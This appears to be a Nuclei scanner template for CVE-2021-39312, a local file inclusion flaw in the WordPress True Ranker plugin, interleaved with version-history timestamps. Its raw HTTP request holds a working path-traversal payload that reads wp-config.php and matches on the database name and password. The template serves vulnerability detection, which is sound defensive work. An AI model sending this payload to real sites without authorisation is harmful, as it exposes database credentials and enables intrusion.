2022-05-01 10:38:22 +00:00
id : CVE-2021-39312
info :
2022-06-30 14:54:05 +00:00
name : WordPress True Ranker <2.2.4 - Local File Inclusion
2022-05-01 10:38:22 +00:00
author : DhiyaneshDK
severity : high
2022-06-30 14:54:05 +00:00
description : WordPress True Ranker before version 2.2.4 allows sensitive configuration files such as wp-config.php, to be accessed via the src parameter found in the ~/admin/vendor/datatables/examples/resources/examples.php file via local file inclusion.
2023-09-06 12:09:01 +00:00
remediation : Fixed in version 2.2.4
2022-05-01 10:38:22 +00:00
reference :
- https://wpscan.com/vulnerability/d48e723c-e3d1-411e-ab8e-629fe1606c79
2022-05-17 09:18:12 +00:00
- https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39312
- https://plugins.trac.wordpress.org/browser/seo-local-rank/tags/2.2.2/admin/vendor/datatables/examples/resources/examples.php
2022-06-30 14:54:05 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-39312
2022-05-02 19:44:49 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
2022-05-17 09:18:12 +00:00
cvss-score : 7.5
2022-05-02 19:44:49 +00:00
cve-id : CVE-2021-39312
2023-07-11 19:49:27 +00:00
cwe-id : CWE-22
2023-10-14 11:27:55 +00:00
epss-score : 0.06634
2023-11-14 14:37:18 +00:00
epss-percentile : 0.93065
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:trueranker:true_ranker:*:*:*:*:*:wordpress:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : trueranker
product : true_ranker
2023-09-06 12:09:01 +00:00
framework : wordpress
2023-07-11 19:49:27 +00:00
tags : unauth,lfr,wpscan,cve,cve2021,wp-plugin,lfi,wp,wordpress
2022-05-01 10:38:22 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-05-01 10:38:22 +00:00
- raw :
- |
POST /wp-content/plugins/seo-local-rank/admin/vendor/datatables/examples/resources/examples.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
Cookie : wordpress_test_cookie=WP%20Cookie%20check
src=%2Fscripts%2Fsimple.php%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwp-config.php
2022-05-02 19:35:45 +00:00
2022-05-01 10:38:22 +00:00
matchers-condition : and
matchers :
- type : word
2022-05-02 19:35:45 +00:00
part : body
2022-05-01 10:38:22 +00:00
words :
2022-05-02 19:35:45 +00:00
- "DB_NAME"
- "DB_PASSWORD"
condition : and
2022-05-01 10:38:22 +00:00
- type : status
status :
- 200
2023-11-14 16:39:03 +00:00
# digest: 490a0046304402205456c595dd363d37611179321cf822a8e95e41a08dc16326419ea7e556feca82022051d0fc66f3d1713c93382756c8ee3497a18eebe480f74ba8b24993a3326ae862:922c64590222798bb761d5b6d8e72950